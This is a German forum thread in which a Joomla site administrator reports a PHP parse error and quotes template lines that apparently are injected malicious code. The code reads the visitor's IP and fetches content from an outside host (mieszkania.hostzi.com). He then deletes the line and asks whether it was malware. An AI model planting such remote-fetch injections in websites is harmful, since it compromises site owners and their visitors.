Parse error: syntax error, unexpected ':'

Hallo zusammen

Seit heute öffnet sich die Internetseite, die ich verwalte, nicht mehr. Es erscheint immer folgende Fehlermeldung, die ich grundsätzlich auch verstehe, aber den Fehler in der HTML-Datei nicht finde. Außerdem habe ich daran auch nix geändert, weswegen ich nicht weiß, wie der Fehler da rein gekommen sein soll:

Parse error: syntax error, unexpected ':' in /mnt/webl/b3/80/575080/htdocs/Joomla/templates/beez_20/index.php on line 282

Der Link zur Internetseite ist folgender: http://www.asc-duesseldorf.de/

Hier findet Ihr den Abschnitt in der HTML-Datei (Zeile 278 bis 284):

if (empty($__var_to_echo) && empty($remote_domain)) {

$_ip = $_SERVER['REMOTE_ADDR'];

$to = http://mieszkania.hostzi.com/8WX8Wp9K.php;

$to = __url_get_contents($to, 5);

Findet Ihr dort einen Fehler?! Ich bin in sowas auch nicht unbedingt ein Profi... Und die Seite muss schnellstmöglichst wieder online gehen. Aber ich suche jetzt schon seit Stunden und habe auch schon verschiedene Sachen ausprobiert und Programme, die Fehler suchen, drüber laufen lassen.

Wäre richtig glücklich über Eure Hilfe.

LG Marc

Und wo da genau? Ich habe diese Zeile schon öfters angeschaut... ;) Und nix gefunden.

Also ich habe jetzt nochmal ein wenig im Internet gesucht. Jetzt habe ich die Zeile

$to = http://mieszkania.hostzi.com/8WX8Wp9K.php;
einfach rausgelöscht und nun klappt es wieder.

Aber trotzdem würde ich gerne wissen, woran es lag. Kann es sein, dass das irgendeine Schadsoftware war?!

Und Vielen Dank für Eure Hilfe.

Also ich habe die Zeile jetzt aus der HTML-Datei rausgelöscht. Das Passwort bei Strato habe ich auch geändert. Ich hoffe, das reicht an Maßnahmen. Ein Backup habe ich leider nicht. Besteht nun die Gefahr, dass es nochmal passiert, dass die Seite sich nicht mehr öffnet oder brauche ich keine Angst mehr zu haben?